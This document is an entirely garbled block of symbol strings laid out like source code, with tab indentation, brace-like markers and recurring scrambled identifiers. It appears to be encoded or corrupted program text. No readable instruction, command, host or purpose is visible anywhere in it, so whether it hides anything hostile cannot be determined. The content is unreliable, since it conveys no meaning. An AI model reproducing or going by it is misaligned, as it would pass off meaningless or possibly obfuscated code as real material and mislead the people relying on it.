XASQMBCE@DDHH				XASQMBCE@DDHH		KKAEPBMEYMGE  							  				R#	H]FD	]HKEL##				XX]L[vEYC^\OZSZ_@JL\CM@[XGOSAG	  ####	@PE[Z\[XJ_PLXG\CM@[XGOSAG #	T#						T#				T###			\GZL]]NCMFQEO			XG_GLF_B		_HCY@XG^HEC	\CM@[XGOSAG				XASQMBCE@DDHH #				T				JH]JA			}A[F^HKEL				CKH_M_GGYXKB 			R#	T			JH]JA				lQJLY]@FG	CKH_M_GGYXKB 					R#T#T#	O\GJ]@FG						F^ZNDHAG^BGEQBCJL		@KL^_D[ #	R#				][P			R#@O		KKAEPBMEYMGE GEQBCJL 		UU						GEQBCJL									UU				SPDBZLLFM] @KL^_D[ 				UU	@KL^_D[					 			[L]\[G#	[YBEB\JZ						KKAEPBMEYMGE GEQBCJL #@O			iKKAEPBMEYMGE [YBEB\JZ 						UU				iKKAEPBMEYMGE [YBEB\JZ  	[L]\[G#	YvLBXDEQ[Z[						[YBEB\JZ				@^v_XSYHPXKSN 						@N[KMFGKOJZ GEQBCJL				@^v_XSYHPXKSN  #XX\\OvB			i@N[KMFGKOJZ YvLBXDEQ[Z[ #@O	@N[KMFGKOJZ XX\\OvB 						SPDBZLLFM] @N[KMFGKOJZ 					XX\\OvB			_CZDGOY 						_L[Z@FGvJFDYH[L_CZDGOYrt					@KL^_D[						@^v_XSYHPXKSN   	[L]\[G#					@O	SPDBZLLFM] @N[KMFGKOJZ   			i@N[KMFGKOJZ YvLBXDEQ[Z[			@KL^_D[ #					T	JH]JA	}A[F^HKEL				E]GYK]v 	R###T				JH]JA	lQJLY]@FG		E]GYK]v 		R#		T#			T#								O\GJ]@FG	CKMX^JSGYXNH #R#						][P			R#@O	@^v_XSYHPXKSN @^v_XSYHPXKSN   		R#	yz{	GHDLZYHJLZ	OFG]	OHJL##		[L]\[G#		T#					@O	iNL]vFY]@FGKKAEPBMEYMGE 	  	R][YCCO_HXBAUM\ENJJ][YCCO_HXBAw##	NPBEZ_MS\_BK@N[KMFGKOJZ 	@N[KMFGKOJZ 	 #			T#@O				JD@CQMEODG^@N[KMFGKOJZ   			[L]\[G#			#				XZ^\@KJE^			SPDBZLLFM] KKAEPBMEYMGE hkzyh}a					Z][@GN 			Y[CQSEMDC_  							QQ  ###			]S[H[@									Z][@GN 		iNL]vFY]@FGXZ^\@KJE^			 #		PFZHBKCCEJ						@N[KMFGKOJZ #				___S[Yv^B		###					##LOQMv@NOZ[				Z][[L_@BZAN\Q\PQ@EXJP  #		SvESZAXQM						^NKBHS]S^NFHGH^O] #	LQOACY@B					SvESZAXQM					U				LOQMv@NOZ[#	#@O		@^v_XSYHPXKSN ]S[H[@			U 					OHEZL 	R###				CHHDLCS\JKB			SPDBZLLFM] U	]S[H[@				 #PFZHBKCCEJ						CHHDLCS\JKBrt#				___S[Yv^B				CHHDLCS\JKBrt				#T					LEZL	R#		#			___S[Yv^B				]S[H[@#	T##@O		___S[Yv^B 	R#	i\YMH]LvFY]@FGXZ^\@KJE^			LQOACY@B			@^v_XSYHPXKSN  #	[L]\[G###				T#####		@O		___S[Yv^B				LOQMv@NOZ[ 				R#		@O			]S[H[@			LQOACY@B						_L[Z@FGvJFDYH[LSvESZAXQM	PFZHBKCCEJ			SPDBZLLFM]   					R#		i\YMH]LvFY]@FGXZ^\@KJE^	LQOACY@B			SPDBZLLFM]  #	T#[L]\[G#							T#				#	GNK^ADSN@@					Z][[L____S[Yv^B #						@O		GNK^ADSN@@											UU		@^v_XSYHPXKSN GNK^ADSN@@ 							GNK^ADSN@@ 		R#		i\YMH]LvFY]@FGXZ^\@KJE^				LQOACY@B	SPDBZLLFM]  #		[L]\[G#	T#							_SJGKHMYCNL							\vJHFGLF__PBZFA]G 										GNK^ADSN@@###		XYANMFPQH@N]Q							#	@O		MLO@GLM@N[KMFGKOJZ   			R#XYANMFPQH@N]Q				~yvye|n`gvm`{								@N[KMFGKOJZ GNK^ADSN@@	yh}a`gofvo`elghdl 										GNK^ADSN@@#						T####						#		D__Q\HA_GBD]Q						i@^v_XSYHPXKSN _SJGKHMYCNL #			K\^POSvJMP						D__Q\HA_GBD]Q					OHEZL							D__Q\HA_GBD]Q					QKQM ####						LXHQO]KLGC					XYANMFPQH@N]Q					i@N[KMFGKOJZ XYANMFPQH@N]Q 				OHEZL#		MBZvOBCH					LXHQO]KLGC								OHEZL					LXHQO]KLGC							 ##	@O		K\^POSvJMP				MBZvOBCH 		R#	i\YMH]LvFY]@FGXZ^\@KJE^	LQOACY@B				@N[KMFGKOJZ  #			[L]\[GDGAPYBOvOyayvdhcf{vl{z`fgXOD[_@Q@KPBADGAPYBOvO#			T##		]Y_DMLZADCEO			K\^POSvJMP									_SJGKHMYCNL									XYANMFPQH@N]Q#JLE_YM							iKKAEPBMEYMGE ]Y_DMLZADCEO			OHEZL		G\EE			  #		##					@O					@N[KMFGKOJZ JLE_YM 				@N[KMFGKOJZ KKAEPBMEYMGE 		JLE_YM					vOD  		R#PFZHBKCCEJ				vODrt#T				LEZL@O	QL@vJL^E^ZMBO_]Y_DMLZADCEO		   		R##	PFZHBKCCEJ			@N[KMFGKOJZ ##	T#						\GZL]JLE_YM					vOD #	vvEP[LvA@^F			K\^POSvJMP##@O		vvEP[LvA@^F						MBZvOBCH 	R#	KQ]KS					@^v_XSYHPXKSN GNK^ADSN@@		yh}a`gofvo`elghdl 											GNK^ADSN@@#@PS[NGZMCD					H[[HP 				iNL]vFY]@FG@N[KMFGKOJZ 		H[[HP  #								vvEP[LvA@^F							@^v_XSYHPXKSN KQ]KS					@PS[NGZMCD		][\L #		@O		vvEP[LvA@^F					@N[KMFGKOJZ @N[KMFGKOJZ  							@ZvD\E]@Z@]L 					KKAEPBMEYMGE SPDBZLLFM]   			R#O_CNM@HY					H[[HP 		iNL]vZ@]LvFY]@FGKKAEPBMEYMGE 				H[[HP  #					vvEP[LvA@^F					@ZZL]O_CNM@HYrKQ]KSt ####		\GZL]O_CNM@HY #				##	T#				\GZL]KQ]KS	@PS[NGZMCD ###			T##							BQA[HZSLGAP					_L[Z@FGvJFDYH[LSvESZAXQM					PFZHBKCCEJ ##@O				BQA[HZSLGAP				 	R###E@ZGYM_Nv									QL@vJL^E^ZMBO_]Y_DMLZADCEO	  #	F_HHCvGLJLJ							@G] 	i@N[KMFGKOJZ ]Y_DMLZADCEO #					HHEHBLBFQ						E@ZGYM_Nv	UU			F_HHCvGLJLJ				  #				@O		HHEHBLBFQ		F_HHCvGLJLJ		QLOQMM  					R#	G@EYF]LG]	Y@YLE@GL##			OL[AOP^\				iKKAEPBMEYMGE ]Y_DMLZADCEO		OHEZL		G\EE				  #				@O				@^v_XSYHPXKSN OL[AOP^\ 					UU			SPDBZLLFM] @^v_XSYHPXKSN 		OL[AOP^\  			HHEHBLBFQ				][\L###		T###						@O				HHEHBLBFQ			G_JS\F^JAQ[]Y_DMLZADCEO  	HHEHBLBFQ						][\L#				@O			HHEHBLBFQ 			R#		L[AYSADSF					]EQJZAHNQK^ #		@O	LDY]PL[AYSADSFr@^v_XSYHPXKSN t  	R#	yz{	D@MMEL^H[L	LQYFGLG]@HE	KHJBEFN##		GEKZFH]EQO								iKKAEPBMEYMGE L[AYSADSFr@N[KMFGKOJZ t #		[ANA\LCH										i@^v_XSYHPXKSN ]Y_DMLZADCEO #		@O		SPDBZLLFM] GEKZFH]EQO 			@^v_XSYHPXKSN [ANA\LCH 								GEKZFH]EQO					[ANA\LCH 		R#					^vHDGKPG[Z[LAD@			J\YJJLJH_G\OQL[AYSADSF #				@O				^vHDGKPG[Z[LAD@					@N[KMFGKOJZ 	UU			^vHDGKPG[Z[LAD@						@^v_XSYHPXKSN  		HHEHBLBFQ								][\L#					T#\GZL]GEKZFH]EQO		[ANA\LCH	^vHDGKPG[Z[LAD@ #	T#	MLO[HNDLG]	JFGZ][H@G]ZL]	OF[	~y	n[F\Y	kEFJB##		@O	HHEHBLBFQ								_CGDX^NXFO[G]Y_DMLZADCEO  		HHEHBLBFQ				][\L#\GZL]L[AYSADSF #			T#		@O			HHEHBLBFQ 		R#@O	E@ZGYM_Nv 		MSv@FPEQOZNH@]Y_DMLZADCEO #	i\YMH]LvFY]@FGXZ^\@KJE^			LQOACY@B	SPDBZLLFM]  #[L]\[G#				T#@O		vvEP[LvA@^F 			R#		i\YMH]LvFY]@FGXZ^\@KJE^		LQOACY@B	@^v_XSYHPXKSN  #	[L]\[G####			T#			F^ZNDHAG^B[ZKLSD_ 		PFZHBKCCEJ #			[^DQ@[Z@vA_KGM@Q[ZKLSD_  ###		[L]\[G					][\L##T#					@O	LDY]Pnefkhezr@N[KMFGKOJZ t  	R##	nefkhezrSPDBZLLFM] t								][\L#	@O	QL@vJL^E^ZMBO_]Y_DMLZADCEO			   		MSv@FPEQOZNH@]Y_DMLZADCEO #CQ_@EXD^JBOCP				SPDBZLLFM]  ###	JBA\G@vQJPN]M][ZKLSD_ 			CQ_@EXD^JBOCP								CQ_@EXD^JBOCP							   					Y[CQSEMDC_  #			\GZL]CQ_@EXD^JBOCP ###								F^ZNDHAG^B_SJGKHMYCNL			SvESZAXQM #				@O						XYANMFPQH@N]Q 	F^ZNDHAG^BXYANMFPQH@N]Q			SvESZAXQM #NPBEZ_MS\_BK@N[KMFGKOJZ 				KKAEPBMEYMGE 		 #i\YMH]LvFY]@FGXZ^\@KJE^				LQOACY@B		SPDBZLLFM]  #GY_[H^KNPNHE@^v_XSYHPXKSN  #@O		XYANMFPQH@N]Q										@N[KMFGKOJZ SPDBZLLFM]   				R#			\B\BE							SPDBZLLFM] GNK^ADSN@@	yh}a`gofvo`elghdl 																GNK^ADSN@@##@PS[NGZMCD				iNL]vFY]@FG@N[KMFGKOJZ 	H[[HP  Sv]H[_J_Hyayvdhcf{vl{z`fg_N^[A^[BSv]H[_J_H####	@O			KKAEPBMEYMGE @PS[NGZMCD 				@N[KMFGKOJZ \B\BE			@PS[NGZMCD		][\L  			R#		i\YMH]LvFY]@FGKKAEPBMEYMGE 				SPDBZLLFM] @N[KMFGKOJZ @PS[NGZMCD		H[[HP\B\BE    #T#	\GZL]\B\BE	@PS[NGZMCD #T#	T#		[L]\[G####	T			JH]JA			}A[F^HKEL		E]GYK]v 		R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 	E]GYK]v ####				T		JH]JA			lQJLY]@FG		E]GYK]v 		R#	T		O@GHEEP			R#			NZADHFK@PJ[@N[KMFGKOJZ  ####		T###	T#	O\GJ]@FG		\Z\AGLAZAHZXB\[YBEB\JZ #R###		@O	@^v_XSYHPXKSN SPDBZLLFM]  				KKAEPBMEYMGE @N[KMFGKOJZ   		R###	]QHO\ADvHN[YL		i@N[KMFGKOJZ [YBEB\JZ ##@O		]QHO\ADvHN[YL 		RLY[BCFP@]OUPSZX^vLY[BCFP@]Ow#		[@SJ_CSFAXGMQvQ								H[[HP #	^A@EL	E]GYK]v				iKKAEPBMEYMGE ]QHO\ADvHN[YL  					OHEZL 				R#@O		E]GYK]v							E]GYK]v			SPDBZLLFM]  				[@SJ_CSFAXGMQvQrt				E]GYK]v#	T#				@O	KKAEPBMEYMGE SPDBZLLFM]   					i@^v_XSYHPXKSN ]QHO\ADvHN[YL #						[L]\[G				[@SJ_CSFAXGMQvQ#T#						T#	@O						SPDBZLLFM] KKAEPBMEYMGE   	R#			YCOFJFCO\						iSPDBZLLFM] [YBEB\JZ #@O				@^v_XSYHPXKSN YCOFJFCO\  		[L]\[G		@^v_XSYHPXKSN @^v_XSYHPXKSN YCOFJFCO\	H[[HP					KKAEPBMEYMGE    #						T##@O			@^v_XSYHPXKSN KKAEPBMEYMGE   	R#		EYCHFE			i@^v_XSYHPXKSN [YBEB\JZ					@^v_XSYHPXKSN  #							@O		@N[KMFGKOJZ EYCHFE  	[L]\[G	@N[KMFGKOJZ @^v_XSYHPXKSN 	EYCHFE #	T#						[L]\[G		G\EE#							T##O\GJ]@FG	_SMG[M@XJvKJSK\]KD]PF\EJY #R#		@O					@N[KMFGKOJZ ]KD]PF\EJY 	UU	@N[KMFGKOJZ ]KD]PF\EJY		@^v_XSYHPXKSN  						OHEZL 	[L]\[G		OHEZL\G\NMA^J_^AY\]FQAYO\G\NMA^J_^#							@O					SPDBZLLFM] ]KD]PF\EJY 							  		]KD]PF\EJY							C^v@Z@\@ACBCL]KD]PF\EJY ####	@O	@N[KMFGKOJZ ]KD]PF\EJY 						  		[L]\[G		OHEZL#		@O		KKAEPBMEYMGE SPDBZLLFM]   			[L]\[G		][\L#			@O			MLO@GLM@^v_XSYHPXKSN   			R#					LMA]M_v			i]FBLGvNL]vHEE]KD]PF\EJY #			@O			@N[KMFGKOJZ LMA]M_v  		[L]\[G						][\L#				L]v\\SOvJA[					#						OF[LHJA				LMA]M_v	HZ	@ZN[XKKQY 		R#							@O	KKAEPBMEYMGE @ZN[XKKQY  				R##		@O	@ZN[XKKQYrt							}vj|{epvfylg		UU	@ZN[XKKQYrt									}vmfeeh{vfylgvj|{epvk{hjlz 	L]v\\SOvJA[#				JFG]@G\L#T#@O			@ZN[XKKQY						R 		L]v\\SOvJA[#					LEZL@O	@ZN[XKKQY				T 					R####				L]v\\SOvJA[#	@O				L]v\\SOvJA[		 		[L]\[G		OHEZL###		T####T####							[L]\[G			L]v\\SOvJA[						#	T#][P	R#		i]FBLGvNL]vHEE]KD]PF\EJY		}fblgvyh{zl ###				[L]\[G					][\L#		T		JH]JA				}A[F^HKEL		E]GYK]v 			R#		[L]\[G					OHEZL#				T				JH]JA						lQJLY]@FG	E]GYK]v 				R#[L]\[G			OHEZL#			T#T#				O\GJ]@FG			GGLDGXPF^PLBHN^C #				R#[L]\[G		H[[HPSPDBZLLFM] 					@^v_XSYHPXKSN 			@^v_XSYHPXKSN  #		T#							O\GJ]@FG		XANv\LXY__PKOA #					R#			[L]\[G		H[[HPSPDBZLLFM] 		@N[KMFGKOJZ 	@N[KMFGKOJZ 				SPDBZLLFM] 	@N[KMFGKOJZ 	KKAEPBMEYMGE 		@N[KMFGKOJZ 		@^v_XSYHPXKSN 			KKAEPBMEYMGE 	KKAEPBMEYMGE 			@N[KMFGKOJZ 				SPDBZLLFM] 	@^v_XSYHPXKSN 		KKAEPBMEYMGE 		KKAEPBMEYMGE 			KKAEPBMEYMGE 		KKAEPBMEYMGE 	KKAEPBMEYMGE 				@^v_XSYHPXKSN 					@^v_XSYHPXKSN  OY@__vO@ZXK_MEYPB_OY@__vO@Z####								T#		O\GJ]@FG				@S]MS^KHZNAQLFD #	R#			[L]\[G	H[[HP@N[KMFGKOJZ 		SPDBZLLFM] 				SPDBZLLFM] 		@^v_XSYHPXKSN  #	T#			#			O\GJ]@FG	\vQGYOGYCKO_J@Pv^\QYANGZLv #			R#		@O		@N[KMFGKOJZ KKAEPBMEYMGE   			[L]\[G		NSLGJFML^\QYANGZLv		w  ####	@O	@N[KMFGKOJZ KKAEPBMEYMGE   				R#		[L]\[G		uQOuQKuQuQuQuQuQuQuQuQ				NSMLOEH]L^\QYANGZLv	  								SPDBZLLFM] 			@^v_XSYHPXKSN ^\QYANGZLv  								KKAEPBMEYMGE 		SPDBZLLFM] ^\QYANGZLv 				  ##				T#[L]\[G			^\QYANGZLv#				T#					O\GJ]@FG		XY^K]SYF@N@CEQ_[F^\QYANGZLv ##		R#		@O	@^v_XSYHPXKSN ^\QYANGZLv 				UU	KKAEPBMEYMGE ^\QYANGZLv 					 			[L]\[G	^\QYANGZLv#@O		SPDBZLLFM] ^\QYANGZLv								 				uQOuQK 					[L]\[G			^\QYANGZLv##		@O			SPDBZLLFM] ^\QYANGZLv 				QQO  			[L]\[G	OHEZL#			DBA[[_v				iSPDBZLLFM] 						@^v_XSYHPXKSN ^\QYANGZLv				w   #					DBA[[_v								KKAEPBMEYMGE DBA[[_v 		DBA[[_vrt			EYJCNMN\UM[L[X@DMHBYEYJCNMN\w####		@O			DBA[[_v						 	UU						DBA[[_v								QLKOLQJ  	[L]\[G		OHEZL####			@O			SPDBZLLFM] @N[KMFGKOJZ   		R#L[GLAFES			iNSMLJFML^\QYANGZLv			  #				##						@O			L[GLAFES				OHEZL 			[L]\[G	L[GLAFES#					T#			@O	@^v_XSYHPXKSN @N[KMFGKOJZ   			R####		L[GLAFES		iNS@GOEH]L@N[KMFGKOJZ ^\QYANGZLv	w 			@N[KMFGKOJZ ^\QYANGZLv 		  	  ###[L]\[G		@N[KMFGKOJZ L[GLAFES 								@N[KMFGKOJZ L[GLAFES 							QLLQJ  			L[GLAFES						OHEZL#							T#			[L]\[G	OHEZL###				T####			#	@O					SPDBZLLFM] @^v_XSYHPXKSN   			R###O\GJ]@FG	ALQK@GP]ZXOA #		R##					@O							KKAEPBMEYMGE P]ZXOA 					UU			KKAEPBMEYMGE P]ZXOA 												 	R#[L]\[G			OHEZL#		T#		[L]\[G	@N[KMFGKOJZ @N[KMFGKOJZ 						P]ZXOA #			T#					T###	O\GJ]@FG			^ASQ\PAL\@O ####	R#				K@vMQYO^Q												H[[HP #		S\NF^AJ]DFPKGCL						H[[HPhkzyh}a	hkzyh}a					@^v_XSYHPXKSN 				hkzyh}a				SPDBZLLFM]  #							@O		MLO@GLMKKAEPBMEYMGE   			S\NF^AJ]DFPKGCLrt			~yvjfg}lg}vm`{					#	OF[LHJA					S\NF^AJ]DFPKGCL			HZ		L[GLAFES 			R#		QvL@DHL^QL				@N[KMFGKOJZ SPDBZLLFM]  						iKKAEPBMEYMGE L[GLAFES			@N[KMFGKOJZ  				OHEZL#	@O	@^v_XSYHPXKSN QvL@DHL^QL  				R#	OF[LHJA			QvL@DHL^QL	HZ		MLXDFHODDKY 	R####		^GZX__F					iKKAEPBMEYMGE MLXDFHODDKY ####@O				^GZX__F					^GZX__F					  				R#		K@vMQYO^Qrt				^GZX__F####		T#	T#					T#	i@G@]@HE@SL	M@ZYH]JAL[##		T####@O		LDY]PK@vMQYO^Q  			R#_ONSMO				K@vMQYO^QrSPDBZLLFM] K@vMQYO^Q t##	[L]\[G	_ONSMO				_ONSMO										   				Y[CQSEMDC_ #	T#						Q]@QNOH\XK					KKAEPBMEYMGE  								 							 							  #	KCCF@S@DQ@							@^v_XSYHPXKSN @^v_XSYHPXKSN  							^Yv[HGM	QKQ 					QMQK 						  					@N[KMFGKOJZ 			 				 						  #			_ONSMO			Q]@QNOH\XK							KCCF@S@DQ@#[L]\[G		_ONSMO										_ONSMO						   				Y[CQSEMDC_ #T#						O\GJ]@FG		Z[ZXvKF[YSH@YCDCJYMNO	AH^@FLCZQ^Y	FDQKDH						G\EE #				R#		NJZY^ZOE					O\GJ]@FG					]_]YAEMZK 	\ZL			FDQKDH 	R#							@O	SPDBZLLFM] ]_]YAEMZK 			UU	]_]YAEMZK					 	[L]\[G		OHEZL#			@O		@^v_XSYHPXKSN ]_]YAEMZK 				  	[L]\[G			OHEZL#@O		FDQKDH 				R##				][P	R##[L]\[G	KFFE 	@N[KMFGKOJZ FDQKDH				]_]YAEMZK #				T					JH]JA			}A[F^HKEL	E]GYK]v 	R###			[L]\[G		OHEZL#				T	JH]JA			lQJLY]@FG				E]GYK]v 		R#					[L]\[G					OHEZL#								T#				T###	[L]\[G		][\L#						T#	@M]C[_E^C]GSP		@N[KMFGKOJZ @N[KMFGKOJZ  										iKKAEPBMEYMGE CDCJYMNO	H[[HP#					KKAEPBMEYMGE 				AH^@FLCZQ^Y#SPDBZLLFM] 			OHEZL#								@N[KMFGKOJZ 						QMMLQ ##  				OHEZL##				@O	@M]C[_E^C]GSP		SPDBZLLFM] KKAEPBMEYMGE  		UU		@Zv^YvL[[F[@M]C[_E^C]GSP   		R####		@O	@G] 	^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFML@M]C[_E^C]GSP 				w  			R#				DKA@P^^vC				^Yv[LDF]Lv[L][@L_LvKFMP@M]C[_E^C]GSP #		@O	NJZY^ZOEDKA@P^^vC  		[L]\[G				DKA@P^^vC#			T#		T#							@O	KKAEPBMEYMGE @N[KMFGKOJZ  							@^v_XSYHPXKSN SPDBZLLFM]  		KKAEPBMEYMGE KKAEPBMEYMGE   			R#		P\HMANKPG					i@^v_XSYHPXKSN CDCJYMNO #@O		P\HMANKPG							OHEZL 	[L]\[G			OHEZL###	iKKAEPBMEYMGE P\HMANKPG			H[[HP#				JFGZ]HG]KKAEPBMEYMGE  				][\L#	JFGZ]HG]KKAEPBMEYMGE  		AH^@FLCZQ^Y####		JFGZ]HG]KKAEPBMEYMGE  				OHEZL#			JFGZ]HG]@^v_XSYHPXKSN  				#			JFGZ]HG]@^v_XSYHPXKSN  					OHEZL###	JFGZ]HG]@^v_XSYHPXKSN  						O\GJ]@FG					@DZNOYA	CYSYK\OB@	BGP@NNMSO 		R	[L]\[G				BGP@NNMSO			 																		T##	  ####			DLK^^CHLZXG				i@N[KMFGKOJZ P\HMANKPG #	A^P\EOOPQ\						iJ\[EvL[[GFP\HMANKPG #		A@G[EvPLS			iJ\[EvNL]@GOFP\HMANKPG ####iJ\[EvJEFZLP\HMANKPG #@O			A^P\EOOPQ\ 	[L]\[G				OHEZL#@O	@G] 		A@G[EvPLSrSPDBZLLFM] t			 						DLK^^CHLZXG									OHEZL			NJZY^ZOEDLK^^CHLZXG  			R#		[L]\[G		DLK^^CHLZXG#	T#T#	MLZ][\J]@FG	FKZL[_L[##[L]\[G		OHEZL#	T##	O\GJ]@FG	_]MNF_JCDCJYMNO			AGDPK]KvZQOEZ			S^JXDQAZZ\				AH^@FLCZQ^Y		FDQKDH			G\EE #	R#			NJZY^ZOE						O\GJ]@FG			]_]YAEMZK 		\ZL			FDQKDH 			R#			@O	@N[KMFGKOJZ ]_]YAEMZK 					UU	]_]YAEMZK								 					[L]\[G	OHEZL#		@O	@N[KMFGKOJZ ]_]YAEMZK 								  	[L]\[G		OHEZL#			@O			FDQKDH 		R####			][P		R#					[L]\[G	KFFE 	@^v_XSYHPXKSN FDQKDH	]_]YAEMZK #		T			JH]JA					}A[F^HKEL				E]GYK]v 			R##		[L]\[G	OHEZL#		T	JH]JA			lQJLY]@FG		E]GYK]v 	R#[L]\[G	OHEZL#				T###	T#	[L]\[G			][\L#	T#			@M]C[_E^C]GSP						@^v_XSYHPXKSN @N[KMFGKOJZ  			i@^v_XSYHPXKSN CDCJYMNO		H[[HP#					KKAEPBMEYMGE 		AH^@FLCZQ^Y##	SPDBZLLFM] 			OHEZL#	SPDBZLLFM] 				 #KKAEPBMEYMGE 			S^JXDQAZZ\#			KKAEPBMEYMGE 		AGDPK]KvZQOEZ####				  			OHEZL#					@O		KKAEPBMEYMGE @^v_XSYHPXKSN  				@Zv^YvL[[F[@M]C[_E^C]GSP  		R#T	LEZL@O					@M]C[_E^C]GSP 			R#		]KD]PF\EJY					@G] 	^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFML@M]C[_E^C]GSP #QY@PYLE							^Yv[LDF]Lv[L][@L_LvKFMP@M]C[_E^C]GSP ####						LJAEJL^AKFSMCA						^Yv[LDF]Lv[L][@L_LvALHML[Z@M]C[_E^C]GSP #		\GD\_G@D@\FNN						#	@O						SPDBZLLFM] LJAEJL^AKFSMCA  		R#	~y	yFZ]	jFDDLG]Z	FKZ][\J]@FGO[LL	K@_H[@HG]##						OF[LHJA			LJAEJL^AKFSMCA		HZ				L\vO][CK				_BvQP[N^E 	R#	\GD\_G@D@\FNN					L\vO][CK									@N[KMFGKOJZ 							_BvQP[N^E			SPDBZLLFM] #	T####	T#	@O		]KD]PF\EJY		 					NJZY^ZOEQY@PYLE  		R#		[L]\[G	QY@PYLE#							##		T#T	LEZL	R#				T#	@O	KKAEPBMEYMGE SPDBZLLFM]  					SPDBZLLFM] SPDBZLLFM]  							@^v_XSYHPXKSN SPDBZLLFM]   		R#	P\HMANKPG			i@^v_XSYHPXKSN CDCJYMNO #@O				P\HMANKPG		OHEZL 		R#	[L]\[G		OHEZL#T#	iY\KE@ZA	[LJF[MEHPL[##FXYAONvHL						H[[HP #	OF[LHJA	S^JXDQAZZ\	HZ						L\vO][CK			_BvQP[N^E 		R#FXYAONvHLrt							L\vO][CK						@N[KMFGKOJZ 			_BvQP[N^E#	T#		i@N[KMFGKOJZ P\HMANKPG		H[[HP#JFGZ]HG]@N[KMFGKOJZ  				][\L####						JFGZ]HG]SPDBZLLFM]  						AGDPK]KvZQOEZ#		JFGZ]HG]SPDBZLLFM]  						][\L#		JFGZ]HG]@N[KMFGKOJZ  			AH^@FLCZQ^Y#						JFGZ]HG]SPDBZLLFM]  								OHEZL#							JFGZ]HG]KKAEPBMEYMGE  							#	JFGZ]HG]@N[KMFGKOJZ  								FXYAONvHL#JFGZ]HG]@^v_XSYHPXKSN  							OHEZL#				JFGZ]HG]@N[KMFGKOJZ  		O\GJ]@FG	@DZNOYA						CYSYK\OB@				BGP@NNMSO 					R		[L]\[G					BGP@NNMSO					 																		T#						  #	DLK^^CHLZXG			i@N[KMFGKOJZ P\HMANKPG ###				A^P\EOOPQ\			iJ\[EvL[[GFP\HMANKPG #			A^OvSOJ[]HS				iJ\[EvL[[F[P\HMANKPG #				A@G[EvPLS				iJ\[EvNL]@GOFP\HMANKPG ####	SAQC^Y@CGMFBQ								@G] 						A@G[EvPLSr@^v_XSYHPXKSN t#@O	A^P\EOOPQ\ 				R#	iJ\[EvJEFZLP\HMANKPG #		[L]\[G		OHEZL###			T#	dPzxe	^@GMF^	O\GJ]@FGZ	MPGHD@J	Y[@GJ@YHE#####	iJ\[EvJEFZLP\HMANKPG OH@J^@\XOKM]XFPO@]EMNOH@J^@\XOKM#	@O						SAQC^Y@CGMFBQ					QQJ 							DLK^^CHLZXG						OHEZL						NJZY^ZOEDLK^^CHLZXG  					R#					[L]\[G			DLK^^CHLZXG#			###	T##	@O	DLK^^CHLZXG 	R#T#[L]\[G		OHEZL#T#			[L]\[G		OHEZL#			T#	#	O\GJ]@FG		AM_PYB]^H_BM_ #			R#	_QQMEC\GAMNXB			GGLDGXPF^PLBHN^C #						_DSC[P\NBEE]		XANv\LXY__PKOA #	#@O	LDY]P_QQMEC\GAMNXB 		UU	LDY]P_DSC[P\NBEE]  	R#[L]\[G	H[[HP #	T#					#							EJ]CNKZC\vB^				KKAEPBMEYMGE @N[KMFGKOJZ  			Z][@GN 	NL]vFY]@FG@^v_XSYHPXKSN 	 		####@O		EJ]CNKZC\vB^					 			R#	\GEFHM	KH]JA	[@GNK\OOL[##_DSC[P\NBEE]					@N[KMFGKOJZ KKAEPBMEYMGE _DSC[P\NBEE]	H[[HPEJ]CNKZC\vB^   ##					KKAEPBMEYMGE _DSC[P\NBEE]					EJ]CNKZC\vB^ #	T#				#BD_vGZP_A								@^v_XSYHPXKSN _QQMEC\GAMNXBr@N[KMFGKOJZ _QQMEC\GAMNXB t #	@O			BD_vGZP_A							 	R###	[L]\[G					H[[HP #	T##				#		AGDPK]KvZQOEZ					@N[KMFGKOJZ 						BD_vGZP_A			KKAEPBMEYMGE #	^GMPOCF@_HSL			H[[HP@N[KMFGKOJZ 							@^v_XSYHPXKSN  #	HDMD\C@]\			@N[KMFGKOJZ ][\L #		OF[LHJA			_DSC[P\NBEE]			HZ	YEN@[@]M 			R#		#			@O			SPDBZLLFM] ][\L 					HDMD\C@]\ 			  		R#K[LHB#				T#	{LJ]F[	H\]F[LOHJ]F[	[F]H]L	[LZFE_L[##		#					YEN@[@]M		SPDBZLLFM] Z][@GN 				YEN@[@]M ####	@O				YEN@[@]M		 						R#JFG]@G\L###		T#	][P	R#		QY@PYLE				_]MNF_JYEN@[@]M					AGDPK]KvZQOEZ			^GMPOCF@_HSL		QQ 						O\GJ]@FG				]_]YAEMZK 				R#		]CvLEQ@v								iSPDBZLLFM] ]_]YAEMZK	][\L #			[L]\[G	@N[KMFGKOJZ ]CvLEQ@v 							@ZZL]]CvLEQ@vr@N[KMFGKOJZ t #				T #@O			QY@PYLE			OHEZL 			R#				JFG]@G\L#T#XNGNB]BEHL\GA					iKKAEPBMEYMGE QY@PYLE		][\L #				@O						SPDBZLLFM] XNGNB]BEHL\GA 					UU			@ZZL]XNGNB]BEHL\GArKKAEPBMEYMGE t 		UU			KKAEPBMEYMGE XNGNB]BEHL\GArKKAEPBMEYMGE t  					R#	JFG]@G\L#	T#		#	P]ZXOA				XNGNB]BEHL\GAr@N[KMFGKOJZ t####@O		@^v_XSYHPXKSN P]ZXOA		KKAEPBMEYMGE  		 			R#	HE@HZHGHEPSL	Z\KZJ[@KL[	OF[	~y	z@]L	lM@]F[##	P]ZXOA					@^v_XSYHPXKSN P]ZXOA		 ####						T#				#	PEGPGBDA			iSPDBZLLFM] P]ZXOA #		@O			PEGPGBDA			OHEZL				UU			@^v_XSYHPXKSN PEGPGBDA 										  			R#	JFG]@G\L#		T#		#							H[SJFPHBMLA				QQK #		OACJQY[QE					KKAEPBMEYMGE PEGPGBDArH[SJFPHBMLAt #			^HAvP]\PF^ZZ]					SPDBZLLFM] PEGPGBDA		H[SJFPHBMLA						OACJQY[QE #		@O					@^v_XSYHPXKSN ^HAvP]\PF^ZZ] 		UU	@^v_XSYHPXKSN ^HAvP]\PF^ZZ] 						QQ  	R#				JFG]@G\L#T#						#	AP_OFvC@KY[YF										SPDBZLLFM] ^HAvP]\PF^ZZ]rt ##@O	AP_OFvC@KY[YF						UU	@N[KMFGKOJZ ^HAvP]\PF^ZZ] 				AP_OFvC@KY[YF		 				R##JFG]@G\L###T###		#		ZQHK_G			@^v_XSYHPXKSN ^HAvP]\PF^ZZ]		AP_OFvC@KY[YF ####	XXMZA[SvX				KKAEPBMEYMGE ^HAvP]\PF^ZZ]								AP_OFvC@KY[YF #					@O			@^v_XSYHPXKSN ZQHK_G 		UU						SPDBZLLFM] XXMZA[SvX  				R#				